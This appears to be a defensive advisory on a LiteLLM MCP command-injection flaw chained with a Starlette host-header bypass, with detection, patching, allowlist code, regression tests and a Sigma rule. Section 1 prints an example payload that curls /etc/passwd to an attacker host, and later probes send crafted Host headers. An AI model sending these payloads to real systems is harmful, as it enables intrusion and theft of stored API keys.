Vulnerability Analysis

CVE-2026-42271: LiteLLM MCP Command Injection Chains to Unauthenticated RCE — What It Is & How to Fix It

Executive Summary

CVE-2026-42271 is a command injection vulnerability in BerriAI LiteLLM's Model Context Protocol (MCP) preview endpoints that allows authenticated attackers to execute arbitrary OS commands on the host server. When chained with CVE-2026-48710 — a host header bypass in Starlette — the authentication requirement is eliminated entirely, yielding unauthenticated remote code execution. CISA added CVE-2026-42271 to its Known Exploited Vulnerabilities (KEV) catalog on June 8, 2026, confirming active in-the-wild exploitation; any organization running LiteLLM as an AI API gateway should treat patching as an emergency.


1. What Is This Vulnerability?

LiteLLM is an open-source proxy/gateway that unifies calls to dozens of large language model providers (OpenAI, Anthropic, Cohere, Azure, etc.) under a single API. It is widely deployed in enterprises, AI startups, and research environments to manage model routing, cost tracking, and API key security.

The Vulnerable Endpoints

Two endpoints introduced as part of LiteLLM's MCP server preview feature were shipped without adequate input validation:

  • POST /mcp-rest/test/connection
  • POST /mcp-rest/test/tools/list

These endpoints were designed to let users test a new MCP server configuration before saving it. Both accepted a full server descriptor in the request body — including command, args, and env fields used by the stdio transport. The proxy then directly spawned that command as a subprocess on the host, inheriting the full privileges of the LiteLLM process. No sandboxing, no allow-listing, no validation.

// Malicious request body — any command can be injected
POST /mcp-rest/test/connection
{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "curl http://attacker.com/$(cat /etc/passwd | base64)"],
  "env": {}
}

Any holder of even the lowest-privilege LiteLLM API key could trigger this to run arbitrary OS commands as whatever user the proxy process runs as (often root in containerized deployments).

Attack Vector

The base vulnerability (CVSS 8.7) requires a valid API key. However, Horizon3.ai discovered it can be chained with CVE-2026-48710, a "BadHost" host header validation bypass in the Starlette ASGI framework (≤ 1.0.0). Starlette's TrustedHostMiddleware can be tricked into accepting requests with a crafted Host: header, bypassing the check that enforces authentication in LiteLLM deployments. The combined exploit chain:

  1. Send a malformed Host: header to skip authentication (CVE-2026-48710)
  2. Hit the unprotected MCP test endpoint with a command-injection payload (CVE-2026-42271)
  3. Achieve unauthenticated RCE with no credentials required

Real-World Impact

Threat actors actively exploiting this chain are targeting stored LLM provider API keys (OpenAI, Anthropic, Cohere, AWS Bedrock, etc.) accessible to the LiteLLM proxy process. With OS-level access, attackers can:

  • Exfiltrate all model provider API credentials and rotate keys to lock out the victim
  • Harvest training data or proprietary prompts stored in the gateway
  • Move laterally into connected AI infrastructure and downstream services
  • Deploy persistent reverse shells or cryptominers on the host

2. Who Is Affected?

Component Vulnerable Versions Fixed Version
BerriAI LiteLLM 1.74.2 – 1.83.6 1.83.7+
Starlette (for unauthenticated chain) ≤ 1.0.0 1.0.1+

At highest risk: any deployment that:

  • Exposes LiteLLM's admin or proxy port to the internet or a wide internal network
  • Runs LiteLLM with elevated privileges (root, or a service account with broad IAM permissions)
  • Stores provider API keys as environment variables or in LiteLLM's database
  • Uses the MCP server preview feature (enabled by default since v1.74)

Self-hosted instances are far more exposed than managed deployments. If you run LiteLLM on Kubernetes, ECS, or a VPS — especially with an internet-facing load balancer — assume you are a target.


3. How to Detect It (Testing)

Manual Testing Steps

Step 1: Verify your LiteLLM version

# If running via pip
pip show litellm | grep Version

# If running in Docker
docker inspect <container_id> | grep -i "litellm"
# or
curl http://localhost:4000/health | python3 -m json.tool

Step 2: Check Starlette version (for the unauthenticated chain)

pip show starlette | grep Version
# Vulnerable if version ≤ 1.0.0

Step 3: Probe the MCP test endpoints (with a valid API key — safe payload)

curl -s -X POST http://your-litellm-host:4000/mcp-rest/test/connection \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"transport":"stdio","command":"id","args":[],"env":{}}' \
  | grep -i "uid\|root\|www-data"

If the response contains OS-level user info (e.g., uid=0(root)), the system is vulnerable.

Step 4: Test host header bypass (without API key)

curl -s -X POST http://your-litellm-host:4000/mcp-rest/test/connection \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"transport":"stdio","command":"id","args":[],"env":{}}' \
  | grep -iE "uid|errno|not found"

If this returns command output rather than a 401/403, the unauthenticated chain is exploitable.

Automated Scanning

Nuclei template (from community/ProjectDiscovery):

nuclei -u http://your-litellm-host:4000 -tags litellm,cve-2026-42271

Vulert (dependency-based):

# Upload your requirements.txt or package-lock.json at vulert.com/abom
# Will flag litellm<1.83.7 and starlette<=1.0.0 automatically

Snyk CLI:

snyk test --package-manager=pip
# Look for: SNYK-PYTHON-LITELLM-CVE202642271

Code Review Checklist

For teams maintaining LiteLLM forks or reviewing upstream code:

  • Search for subprocess.Popen, subprocess.run, os.system, os.popen in MCP-related route handlers
  • Verify /mcp-rest/* endpoints enforce authentication middleware before any subprocess calls
  • Confirm command and args fields in MCP configs are validated against an allowlist — not passed directly to subprocess
  • Check that TrustedHostMiddleware in Starlette is configured with raise_on_err=True and allowed_hosts is explicitly set
  • Audit environment variable handling — ensure env field cannot inject sensitive vars into spawned processes

4. How to Fix It (Mitigation)

Step-by-Step Remediation

For pip/virtualenv installs:

pip install --upgrade "litellm>=1.83.7" "starlette>=1.0.1"
# Restart the proxy process
systemctl restart litellm  # or your service manager equivalent

For Docker deployments:

# Update your docker-compose.yml or Dockerfile
# image: ghcr.io/berriai/litellm:main-v1.83.7  (or latest)
docker pull ghcr.io/berriai/litellm:main-latest
docker-compose down && docker-compose up -d

For Kubernetes (Helm):

helm upgrade litellm berriai/litellm \
  --set image.tag=main-v1.83.7 \
  --reuse-values

Immediate Workaround (if patching is not immediately possible)

Block the vulnerable endpoints at your reverse proxy or API gateway before doing anything else:

Nginx:

# Add inside your litellm server block
location ~ ^/mcp-rest/test/ {
    deny all;
    return 403;
}

AWS ALB (via WAF Rule):

{
  "Name": "BlockLiteLLMMCPTest",
  "Priority": 1,
  "Statement": {
    "ByteMatchStatement": {
      "SearchString": "/mcp-rest/test/",
      "FieldToMatch": {"UriPath": {}},
      "PositionalConstraint": "STARTS_WITH",
      "TextTransformations": [{"Priority": 0, "Type": "NONE"}]
    }
  },
  "Action": {"Block": {}},
  "VisibilityConfig": {...}
}

Caddy:

respond /mcp-rest/test/* 403

Code Fix Example

For teams who maintain LiteLLM forks, the safe pattern for MCP stdio subprocess calls is:

# BEFORE (vulnerable): direct subprocess spawn from user input
import subprocess

def test_mcp_connection(config: dict):
    proc = subprocess.Popen(
        [config["command"]] + config.get("args", []),
        env=config.get("env"),
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    return proc.communicate()

# AFTER (safe): strict allowlist + no dynamic command construction
import subprocess
import shlex

ALLOWED_COMMANDS = {"npx", "uvx", "node", "python3"}

def test_mcp_connection(config: dict):
    command = config.get("command", "")
    # Validate against allowlist
    if command not in ALLOWED_COMMANDS:
        raise ValueError(f"Command '{command}' is not permitted")
    # Use a list — never shell=True with user input
    args = [command] + [shlex.quote(a) for a in config.get("args", [])]
    proc = subprocess.Popen(
        args,
        env=None,  # never pass raw user-supplied env
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    return proc.communicate(timeout=10)

Configuration Hardening

  1. Restrict LiteLLM process privileges: Run as a dedicated low-privilege user, never as root.
  2. Set explicit allowed_hosts in Starlette: In litellm_config.yaml, configure trusted_host_middleware with your domain.
  3. Rotate all stored API keys immediately if you were running a vulnerable version exposed to any network.
  4. Enable LiteLLM's audit logging to capture all API key usage and detect anomalous traffic.

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: Send the same malicious MCP stdio payload with a valid API key → expect HTTP 403 or an error indicating the command is not allowlisted, no subprocess spawned.
  • Scenario B: Send the BadHost exploit chain (no API key, crafted Host: header) → expect HTTP 401 Unauthorized, not command output.
  • Scenario C: Legitimate MCP test with an approved command (e.g., npx) → expect normal connection test response, confirming no functionality regression for valid workflows.

Security Test Cases

Test Case 1: Verify command injection is blocked

  • Precondition: LiteLLM upgraded to ≥ 1.83.7
  • Steps: POST /mcp-rest/test/connection with {"transport":"stdio","command":"id","args":[],"env":{}}
  • Expected Result: HTTP 403 or validation error — no OS command output in response

Test Case 2: Verify unauthenticated chain is broken

  • Precondition: Starlette upgraded to ≥ 1.0.1
  • Steps: Same request with Host: evil.com and no Authorization header
  • Expected Result: HTTP 401 Unauthorized — host header bypass fails

Test Case 3: Verify legitimate MCP preview still works

  • Precondition: Valid API key, command is npx (in allowlist)
  • Steps: POST /mcp-rest/test/connection with a valid npx-based MCP config
  • Expected Result: Connection test succeeds with proper MCP response

Automated Tests

import requests

LITELLM_HOST = "http://localhost:4000"
VALID_API_KEY = "sk-your-test-key"

def test_command_injection_blocked():
    """CVE-2026-42271 regression test: command injection must be rejected"""
    payload = {"transport": "stdio", "command": "id", "args": [], "env": {}}
    r = requests.post(
        f"{LITELLM_HOST}/mcp-rest/test/connection",
        headers={"Authorization": f"Bearer {VALID_API_KEY}"},
        json=payload,
        timeout=5
    )
    assert r.status_code in (400, 403, 422), f"Expected blocked, got {r.status_code}"
    assert "uid=" not in r.text, "OS command output found in response — still vulnerable!"
    print("PASS: Command injection blocked")

def test_unauthenticated_chain_blocked():
    """CVE-2026-48710 + CVE-2026-42271 chain: unauthenticated request must be rejected"""
    payload = {"transport": "stdio", "command": "id", "args": [], "env": {}}
    r = requests.post(
        f"{LITELLM_HOST}/mcp-rest/test/connection",
        headers={"Host": "evil.com"},  # BadHost bypass attempt
        json=payload,
        timeout=5
    )
    assert r.status_code == 401, f"Expected 401, got {r.status_code}"
    print("PASS: Unauthenticated chain blocked")

if __name__ == "__main__":
    test_command_injection_blocked()
    test_unauthenticated_chain_blocked()

6. Prevention & Hardening

Best Practices

  • Treat AI API gateways as high-value targets. LiteLLM holds the keys to your entire LLM spend and data pipeline. Apply the same hardening posture you'd apply to a secrets manager.
  • Never expose LiteLLM's admin port to the public internet. Place it behind a VPN or internal network boundary. Use a dedicated ingress for the proxy API only.
  • Implement zero-trust network segmentation. The LiteLLM host should only be able to reach LLM provider endpoints — not your internal databases, code repositories, or other services.
  • Rotate provider API keys on a schedule, and immediately after any suspected compromise. Use short-lived credentials with IAM roles where possible (AWS Bedrock, Vertex AI, Azure AD).
  • Pin dependency versions in production and run pip-audit or safety check in CI/CD to catch vulnerable transitive dependencies like Starlette.
  • Audit MCP server configurations — only allow commands from a strict allowlist; treat the MCP stdio transport as an execution vector, not a config field.

Monitoring & Detection

Signs of active exploitation to watch for in logs and SIEM:

# Suspicious patterns in LiteLLM access logs
POST /mcp-rest/test/connection  (from unexpected IPs or at high frequency)
POST /mcp-rest/test/tools/list  (same)
Requests with unusual Host: headers not matching your domain
API key usage spikes or usage from new geographic locations
Outbound connections from the LiteLLM host to unknown IPs (data exfiltration)

Recommended detection rule (Sigma format):

title: LiteLLM MCP Test Endpoint Probing (CVE-2026-42271)
status: experimental
logsource:
  category: webserver
detection:
  selection:
    request_uri|startswith: '/mcp-rest/test/'
    request_method: 'POST'
  condition: selection
level: high
tags:
  - cve.2026-42271

Set up alerts for any POST to /mcp-rest/test/ paths — legitimate MCP configuration testing should be infrequent and predictable. A burst of such requests is a strong indicator of scanning or exploitation attempts.


References

Latest from the blog

See all →